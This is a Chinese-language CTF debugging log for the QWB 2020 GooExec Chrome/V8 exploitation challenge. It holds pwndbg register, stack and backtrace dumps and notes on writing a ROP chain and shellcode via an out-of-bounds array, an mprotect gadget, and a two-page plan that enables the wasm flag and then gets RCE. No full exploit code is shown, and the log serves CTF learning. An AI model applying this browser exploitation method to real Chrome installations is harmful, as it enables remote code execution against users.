RAX 0x563d451a88d0 —▸ 0x563d44e586b0 ◂— push rbp RBX 0x7fff5a933638 —▸ 0x2159c818c320 ◂— 0x70007400740068 /* 'h' */ RCX 0xffffffffffffffc0 RDX 0x0 RDI 0x563d451e2c18 —▸ 0x563d451a88d0 —▸ 0x563d44e586b0 ◂— push rbp RSI 0x7fff5a933638 —▸ 0x2159c818c320 ◂— 0x70007400740068 /* 'h' */ R8 0x372627e097e0 —▸ 0x14c16ee5c3c0 ◂— 0x2000000003 R9 0x0 R10 0x7ffa6c321ffb ◂— '_ZN7content15RenderFrameImpl36ShouldReportDetailedMessageForSourceERKN5blink9WebStringE' R11 0x7ffa6d1f2d30 ◂— push rbp R12 0x0 R13 0x3 R14 0x563d451e2c18 —▸ 0x563d451a88d0 —▸ 0x563d44e586b0 ◂— push rbp R15 0x20 RBP 0x7fff5a933670 —▸ 0x7fff5a9336a0 —▸ 0x7fff5a933700 —▸ 0x7fff5a933760 —▸ 0x7fff5a933890 ◂— ... RSP 0x7fff5a933630 ◂— 0x70 /* 'p' */ RIP 0x7ffa6d1f2d87 ◂— call qword ptr [rax + 0x130] ──────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────── ► 0x7ffa6d1f2d87 call qword ptr [rax + 0x130] <0x563d44e5ca50> 0x7ffa6d1f2d8d mov ebx, eax 0x7ffa6d1f2d8f cmp byte ptr [rbp - 0x21], 0 0x7ffa6d1f2d93 jns 0x7ffa6d1f2d9e <0x7ffa6d1f2d9e> 0x7ffa6d1f2d95 mov rdi, qword ptr [rbp - 0x38] 0x7ffa6d1f2d99 call 0x7ffa6d58c2b0 <0x7ffa6d58c2b0> 0x7ffa6d1f2d9e mov eax, ebx 0x7ffa6d1f2da0 add rsp, 0x20 0x7ffa6d1f2da4 pop rbx 0x7ffa6d1f2da5 pop r12 0x7ffa6d1f2da7 pop r14 ───────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fff5a933630 ◂— 0x70 /* 'p' */ 01:0008│ rbx rsi 0x7fff5a933638 —▸ 0x2159c818c320 ◂— 0x70007400740068 /* 'h' */ 02:0010│ 0x7fff5a933640 ◂— 0x20 /* ' ' */ 03:0018│ 0x7fff5a933648 ◂— 0x8000000000000028 /* '(' */ 04:0020│ 0x7fff5a933650 —▸ 0x2159c7fd1870 —▸ 0x7ffa6d61dd70 —▸ 0x7ffa6d1e2bd0 ◂— push rbp 05:0028│ 0x7fff5a933658 —▸ 0x372627e097e0 —▸ 0x14c16ee5c3c0 ◂— 0x2000000003 06:0030│ 0x7fff5a933660 —▸ 0x7fff5a9336c0 —▸ 0x14c16ee5c3c0 ◂— 0x2000000003 07:0038│ 0x7fff5a933668 —▸ 0x7fff5a933680 —▸ 0x14c16ee5c3c0 ◂— 0x2000000003
通过栈回溯,发现自己写的脚本中含有去优化,所以crash了
突然间就触发不了断点了....
重新尝试删除部分脚本
下图可以发现rop_chain写入了
shellcode写入了
下一步尝试在ret下断点
断不下来,但是对比发现,应该是部分len/base指针写错了,改一改出现了下面的错
#0 __GI___pthread_mutex_lock (mutex=0x534944b84801a809) at ../nptl/pthread_mutex_lock.c:67
#1 0x00007f369c0b2c10 in v8::internal::StackGuard::CheckInterrupt(v8::internal::StackGuard::InterruptFlag) () at /home/ubuntu2004/now/Release/libv8.so
#2 0x00007f369c061e22 in v8::internal::Debug::OnThrow(v8::internal::Handle<v8::internal::Object>) () at /home/ubuntu2004/now/Release/libv8.so
#3 0x00007f369c098dcc in v8::internal::Isolate::Throw(v8::internal::Object, v8::internal::MessageLocation*) () at /home/ubuntu2004/now/Release/libv8.so
#4 0x00007f369c098af8 in v8::internal::Isolate::StackOverflow() () at /home/ubuntu2004/now/Release/libv8.so
#5 0x00007f369c3fbb60 in v8::internal::Runtime_StackGuard(int, unsigned long*, v8::internal::Isolate*) () at /home/ubuntu2004/now/Release/libv8.so
#6 0x00007f369bea2278 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit () at /home/ubuntu2004/now/Release/libv8.so
#7 0x00007f369bf37db8 in Builtins_JumpLoopHandler () at /home/ubuntu2004/now/Release/libv8.so
#8 0x00007f369be36678 in Builtins_InterpreterEntryTrampoline () at /home/ubuntu2004/now/Release/libv8.so
#9 0x0000262e0000001e in ()
#10 0x0000262e088f0a61 in ()
#11 0x0000262e082e0c35 in ()
#12 0x0000262e00000042 in ()
#13 0x0000262e083824dd in ()
#14 0x0000000000000014 in ()
#15 0x0000262e0838fd99 in ()
#16 0x000000000000014e in ()
#17 0x0000262e088f0a69 in ()
#18 0x0000000000000002 in ()
#19 0x0000262e082e0fb5 in ()
#20 0x0000262e082e0b3d in ()
#21 0x00007ffec9d83a10 in ()
#22 0x00007f369be36678 in Builtins_InterpreterEntryTrampoline () at /home/ubuntu2004/now/Release/libv8.so
#23 0x0000262e0838fd81 in ()
#24 0x0000262e0838fd09 in ()
#25 0x0000262e084c2405 in ()
#26 0x0000000000001136 in ()
#27 0x0000000000001102 in ()
#28 0x0000000000000000 in ()
根据栈回溯 应该是栈溢出
我吐了,最后的问题出在变量名字上
还有这个mprotect实际只要了一个系统调用,而且后面跟了ret(后来发现多虑了,这就是protect)
html1用来修改wasm标志“FLAG_expose_wasm” , 在同一个tag下运行html2实现RCE.
首先尝试了使用pwndbg搜索
但是发现和真正要找的位置不同
按照博客作者说的使用ida进行分析
发现对于的so文件
将libv8.so拖入到ida里面
注意这里使用的是.data段的,不是got段
同样的脚本在chrome跑
在v8跑
之后使用标准的脚本去跑,发现是可以跑出正确的结果,这时进行脚本的比对
问题出在
我在声明obj数组和uint数组前就输出了一次oob的len,~
程序写50次就崩了
但是问题似乎不是出在这里
因为标准exp在加上输出后同样不行了
所以这里是不能输出的
强网杯2020线下GooExec (mem2019.github.io)
强网杯2020-GooExec chrome pwn分析及两种利用思路 - 先知社区 (aliyun.com)
https://github.com/ray-cp/browser_pwn/tree/master/v8_pwn/qwb2020-final-GOOexec_chromium
https://bugs.chromium.org/p/chromium/issues/detail?id=799263